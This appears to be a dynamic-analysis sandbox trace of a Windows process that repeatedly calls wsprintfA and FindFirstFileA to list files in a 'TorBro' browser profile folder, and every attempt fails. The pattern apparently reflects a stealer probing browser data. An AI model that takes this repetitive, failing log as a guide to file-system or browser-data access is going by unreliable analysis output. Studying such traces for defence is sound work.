[0052.849] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.849] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.849] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.849] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.850] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.850] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.850] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.850] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.850] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.850] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.850] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.850] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.850] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.850] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.850] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.850] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.850] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.850] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.850] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.850] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.850] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.850] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.851] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.851] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.851] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.851] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.851] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.851] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.851] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.851] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.851] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.851] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.851] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.851] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.851] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.851] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.851] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.851] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.851] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.851] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.851] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.852] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.852] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.852] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.852] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.852] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.852] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.852] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.852] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.852] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.852] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.852] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.852] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.852] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.852] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.852] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.852] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
[0052.852] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\torbro\\profile\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.852] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\TorBro\\Profile\\\\*.*") returned 55
